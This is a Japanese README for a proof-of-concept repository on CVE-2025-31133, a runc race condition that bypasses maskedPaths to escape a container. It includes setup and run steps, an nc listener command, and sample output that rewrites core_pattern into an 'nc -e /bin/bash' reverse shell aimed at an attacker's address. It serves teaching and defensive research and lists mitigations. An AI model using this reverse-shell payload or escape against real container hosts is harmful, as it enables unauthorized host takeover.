CVE-2025-31133-PoC について学ぶ

概要

CVE-2025-31133 の概念実証デモンストレーションと学習環境です。これは runc のセキュリティ脆弱性であり、競合状態を利用して maskedPaths 保護をバイパスするものです。maskedPaths は、コンテナが機密性の高いホストファイルシステムパスにアクセスするのを防ぐために設計されています。

https://github.com/user-attachments/assets/d7b4ea43-6cab-4ac5-bb07-08bc46479910

👉 このリポジトリは、Black Hat トレーニングで教えられている研究マインドセットとテクニックの実践的な例です。

これが面白いと思ったら、これは氷山の一角にすぎません。

攻撃的コンテナセキュリティ：境界を破るためのマスタークラス

📅 Black Hat USA 2026 トレーニング日程:

8月1日～2日

https://blackhat.com/us-26/training/schedule/index.html#offensive-container-security-a-masterclass-in-breaking-the-boundaries-50910

8月3日～4日

https://blackhat.com/us-26/training/schedule/index.html#offensive-container-security-a-masterclass-in-breaking-the-boundaries-509101770251750

脆弱性の詳細

CVE ID: CVE-2025-31133
コンポーネント: runc (コンテナランタイム)
攻撃ベクター: maskedPaths 処理における競合状態
影響: コンテナエスケープ

仕組み

このエクスプロイトは、以下の競合状態を利用します：

コンテナが機密ファイル（例：/proc/sys/kernel/core_pattern）を保護するために maskedPaths で設定されている
コンテナ初期化中に、以下の間で競合状態が発生します：
- コンテナの rootfs におけるデバイスノード（/dev/null）の削除
- そのデバイスノードの再作成
このタイミングウィンドウにより、マスクされたパス保護がバイパスされる
攻撃者は、マスクされるべき保護されたファイルに書き込むことができる

⚠️ 免責事項

このリポジトリは教育目的のみです。

隔離された管理された環境でのみ使用してください
所有していない、またはテストする明示的な許可がないシステムに対して使用しないでください
作者はこのコードの誤用について一切責任を負いません
このエクスプロイトはシステムの不安定性やデータ損失を引き起こす可能性があります

前提条件

Linux システム（Ubuntu 推奨）
root/sudo アクセス
インターネット接続
コンテナランタイムとセキュリティの基本的な理解

セットアップ

1. このリポジトリをクローンまたはダウンロード

git clone https://github.com/C-h4ck-0/Learn-about-cve-2025-31133-poc.git
cd Learn-about-cve-2025-31133-poc

2. ラボセットアップスクリプトを実行

lab-setup.sh スクリプトは以下のことを行います：

依存関係のインストール
脆弱な runc v1.2.0 の設定

chmod +x lab-setup.sh
./lab-setup.sh

3. セットアップの確認

脆弱な runc バージョンがインストールされていることを確認してください：

runc --version

バージョン 1.2.0 または類似のものが表示されるはずです。

エクスプロイトの実行

基本的な使い方

リスナーを起動してリバースシェルを受信します（攻撃側マシン上で）：

nc -lnvp <PORT>

エクスプロイトスクリプトを実行：

chmod +x cve-2025-31133-exploit.sh
./cve-2025-31133-exploit.sh

プロンプトが表示されたら必要な情報を入力します：
- 攻撃側のIPアドレス
- 攻撃側のポート（リスナーが実行されているポート）

期待される出力

成功すると、以下のように表示されます：

[*] Compiling race condition exploit binary...
[*] Starting exploit attempts...
[*] Target: /proc/sys/kernel/core_pattern
[*] Backing up /proc/sys/kernel/core_pattern...
[*] Backup created at /tmp/core_pattern.bak
[*] Current content of target:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E

====================================================
[*] Testing delay: 5 microseconds
====================================================
X..
[+] ========================================
[+] SUCCESS! Exploit succeeded.
[+] ========================================
[+] Original content:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
------------------------------------------------
[+] Modified content:
|/bin/nc.traditional <ip-address> <port> -e /bin/bash
------------------------------------------------
./exploit.sh: line 148:  7068 Segmentation fault      (core dumped) sleep 5
[*] Restoring original content...
[*] Restoration complete.

リバースシェル接続がリスナーに確立されるはずです。

緩和策

runc をパッチ適用済みバージョン（v1.2.1 以降）に更新
コンテナランタイムを定期的に更新
最小権限の原則を使用 - 非rootユーザー名前空間でコンテナを実行する

参考文献

注意事項

競合状態の性質上、エクスプロイトの成功には複数回の試行が必要な場合があります
成功率はシステム負荷とタイミングに依存します
スクリプトはエクスプロイト成功後に元の core_pattern を自動的に復元します
クリーンアップはトラップハンドラを介して自動的に処理されます

ライセンス

このプロジェクトは教育目的で提供されています。責任を持って倫理的に使用してください。

覚えておいてください: セキュリティ研究ツールは常に責任を持って、自分が所有するかテストの明示的な許可がある環境でのみ使用してください。

Learn-about-cve-2025-31133-poc

人気